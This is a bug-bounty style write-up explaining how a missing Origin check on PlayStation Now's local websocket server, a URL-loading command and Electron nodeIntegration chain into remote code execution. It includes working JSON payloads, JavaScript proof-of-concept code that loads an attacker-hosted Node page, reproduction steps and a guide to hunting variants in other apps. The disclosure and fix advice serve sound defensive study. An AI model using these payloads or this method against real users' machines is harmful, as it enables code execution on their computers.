The following command should pop calc:
{"command":"setUrlDefaultBrowser","params":{"url":"file:///c:/windows/system32/calc.exe"},"source":"QAS","target":"AGL"}
Read it as: command setUrlDefaultBrowser, with one parameter, a URL that is the local path to the Windows Calculator, sent from QAS to AGL. If AGL passes that to the operating system, Windows starts the calculator.
QAS does not have this command. Because websockets are not bound by the Same-Origin Policy, any website can send these messages.
Issue 3: AGL can be told to load arbitrary websites
A single websocket message is enough to make AGL load any URL, with no restrictions. That is serious given what bad code on a website can do to AGL. The three issues chain together: a page can talk to the server, choose what AGL loads, and that page then runs code.
Exploitation
The three findings combine as follows:
- If a website with Node code is loaded in AGL, arbitrary code runs on the target's machine.
- Any website opened in a browser on a machine running psnow can connect to the local websocket and send messages.
- A websocket command with
setUrlorsetUrlDefaultBrowsercan tell AGL to load any URL.
Step 1: the user has psnow running
When the user closes the psnow window it is minimised to the tray and keeps running, and the websocket server keeps running while the application is minimised. The tray is the row of small icons near the clock in the corner of the Windows screen. If the user has used psnow in the same session, there is a good chance it is still running.
Step 2: the user opens an attacker's website
Any browser will do. The link can be posted in chat or Discord, placed on forums, or delivered in any other way.
Step 3: the page connects to the local server
The website in the browser connects to the websocket server at ws://localhost:1235. The ws:// prefix is the websocket equivalent of http://, and localhost again means the user's own computer.
Step 4: the page sends a command that makes AGL load the Node payload
The message tells AGL to load another website containing Node code:
This is the same setUrl message as before, with the URL pointing at the page that runs the calculator. Alternatively, the page can abuse the setUrlDefaultBrowser command.
Step 5: code runs
AGL loads the new website and arbitrary code runs on the user's machine.
Steps to reproduce
- Run psnow in a VM.
- Go to the following URL in a browser on the same machine: https://[redacted].s3.amazonaws.com/agl-poc/calc-ws.html
- Watch calc pop.
- Optionally, paste the following command in the text field and press send to see calc pop again:
Other things can be done the same way, such as enabling dev tools. Dev tools are the debugging panel built into Electron and browsers, which gives a much deeper view of the page and the program behind it.
The calc-ws code is similar to the chat code. Once the socket to the local websocket server opens, it sends the payload:
let url = 'ws://localhost:1235/'
let socket = new WebSocket(url);
let payload = '{"command":"setUrl","params":{"url":"https://[redacted].s3.us-east-1.amazonaws.com/node.html"},"source":"QAS","target":"AGL"}';
// send the payload when the socket is opened.
socket.onopen = function(event) {
showMessage('before payload');
socket.send(payload);
showMessage('after payload');
};
Line by line: let url = 'ws://localhost:1235/' stores the address of the local websocket server in a variable called url. let socket = new WebSocket(url) opens the connection and keeps it in a variable called socket. let payload = ... stores the command text, the same JSON message shown above, in a variable called payload. The line starting with // is a comment, ignored by the computer. socket.onopen = function(event) { ... } says: when the connection finishes opening, run this block. Inside it, showMessage('before payload') prints a note on the page, socket.send(payload) sends the command to the local server, and showMessage('after payload') prints a second note. The two notes are there so you can see in the browser that the send actually happened.
Bonus: minor issue 0, the websocket server listens on [redacted]
The application listens on all interfaces ([redacted]), which is problematic. An interface is one of the network connections a computer has, such as its Wi-Fi card or its wired socket, and [redacted] means "all of them", not just the machine itself. It is also not subtle: the Windows firewall prompt appears the first time it runs, because Windows notices a program opening a port to the network. Anyone who can reach the port might be able to send commands to the websocket server.
Root cause
The local websocket server does not validate the Origin header of incoming requests. The server does not validate the Origin header of incoming requests, and websockets are not subject to the Same-Origin Policy, so the browser will happily let any page open a connection to ws://localhost:1235 and send commands. The server also accepts commands that make AGL load an arbitrary URL, and AGL runs with nodeIntegration: true and no checks on the URLs it loads, so any page it loads gets Node.js APIs and can spawn processes. Chaining the three weaknesses turns a page visit into code execution. Listening on [redacted] means anyone who can contact the port might be able to send commands to the server.
Impact
An attacker can run code on the machines of users who have psnow running. The conditions are that psnow is running (it keeps running minimised to the tray) and that the user opens the attacker's page in any browser on the same machine. The attacker then gets to the other side of the airtight hatchway. CVSS is a standard scoring system for the severity of a security flaw, running from 0 to 10, where 10 is the worst.
Fix
The report gives two recommendations:
- The local websocket server should validate the
Originheader of incoming requests and only allow requests from a list of good origins. This is the same recommendation TavisO made in the Logitech Options report. - Do not listen on all interfaces; bind the server to
localhost.
Variants to test
- Other desktop applications with a local websocket or HTTP server. Look for a server bound to a loopback port that the application's own web front end talks to. A loopback port is one that only accepts connections from the same machine. A positive result is that a page served from a different origin can open a connection and receive a response to a command, which shows the origin check is missing.
- Command handlers that load URLs. Enumerate the commands the local server accepts (in Electron apps, unpack
app.asarand search for the command handler) and look for anything that sets a URL, opens an external URL or launches a program. A positive result is a command that makes the privileged component load an attacker-chosen URL. - Electron windows with
nodeIntegration: true. If a privileged component loads remote content with Node integration enabled, a page containingrequire('child_process').exec(...)that spawns a process confirms code execution. shell.openExternalwith thefilescheme. If a command passes a URL toshell.openExternal, try afile:///URL pointing at a local executable. A positive result is the executable starting.- Binding on
[redacted]. Check whether the local server is reachable from another host on the network. A positive result is a connection from a different machine being accepted.
Hunting notes
This class of bug hides in the glue between a desktop application and its web front end: local websocket servers, local HTTP servers and custom protocol handlers that the application's own pages use. During recon, the signals are a process listening on a loopback port (visible with netstat -anb on Windows), a websocket handshake to a local address in proxy history, and JSON command messages with fields such as command, params, source and target. User-agent strings that identify the embedded runtimes, here QtWebEngine/5.5.1 for the Qt component and Electron/1.4.16 with playstation-now/0.0.0 for the Electron component, help separate the application's traffic from everything else in the proxy. The researcher showed impact by chaining the missing origin check to a URL-loading command and to nodeIntegration: true, ending with a page that pops the calculator from a browser on the same machine, and by noting that psnow keeps running in the tray after the window is closed, so the vulnerable server is often still up when a victim visits a link.
Glossary
- API: the set of commands one piece of software offers to another, so programs can use each other's features.
- app.asar: the single archive file Electron packs an application's code into; unpacking it lets you read the source.
- BrowserWindow: Electron's name for a window that displays a web page.
- Burp Repeater: the part of Burp Suite that lets you edit a captured request and send it again.
- Burp Suite: a tool used as an intercepting proxy to read and change traffic between a program and a server.
- CA certificate: a small file that lets a proxy prove it is trusted to read encrypted traffic.
- commandHandler: the code that decides what to do with each incoming command.
- CVSS: a standard scoring system for the severity of a security flaw, from 0 to 10.
- Dev tools: the debugging panel built into Electron and browsers.
- Electron: a framework that lets a desktop program show web pages in its own window.
- Elevated command line: a terminal opened with administrator rights.
- file scheme: the
file://prefix that points at a file on the local disk rather than at a website. - Header: an extra piece of information attached to a request, such as the user agent or the origin.
- Interface: one of the network connections a computer has, such as a Wi-Fi card or a wired socket.
- JavaScript: the programming language web pages are written in.
- JSON: a plain text format for structured data, made of names and values in curly braces.
- JSON.stringify: the standard JavaScript function that turns an object in code into JSON text.
- localhost: a name meaning "this same computer".
- Loopback port: a port that only accepts connections from the same machine.
- netstat: a built-in Windows command that lists network connections and listening ports.
- Node.js: a way of running JavaScript outside a browser with full access to the computer, including starting programs.
- nodeIntegration: the Electron setting that lets JavaScript in a window access Node.js APIs.
- Origin: the address of the web page that made a request, sent in the
Originheader. - Port: the numbered door on a machine where a server waits for connections.
- Process Monitor: a Windows tool that lists every program and sub-program running on the machine.
- Project Zero: Google's security research team.
- Proxy: a middleman program that sits between an application and the internet so you can read and change the traffic.
- QAS: the Qt5 desktop application
psnowlauncher.exe, the main psnow program. - Qt5: a toolkit for building desktop programs.
- Remote code execution (RCE): someone else, from somewhere else, gets your computer to run their code.
- S3 bucket: a folder in Amazon's file storage service that anyone with the address can read from.
- Same-Origin Policy: a browser rule that normally stops a page from one website reading data from another; it does not apply to websockets.
- shell.openExternal: an Electron function that hands a URL to the operating system to open with the usual program.
- Tray: the row of small icons near the clock in the corner of the Windows screen.
- User agent: a short line of text every request carries, saying which program and version sent it.
- Virtual machine: a computer simulated inside your real computer, so anything that goes wrong stays contained.
- Websocket: a two-way connection between a program and a server that stays open, so both sides can send messages at any time.
- WinINET: the part of Windows that most desktop programs use when they need to reach the internet.
- ws://: the websocket equivalent of
http://. - [redacted]: an address meaning "all network interfaces", not just the machine itself.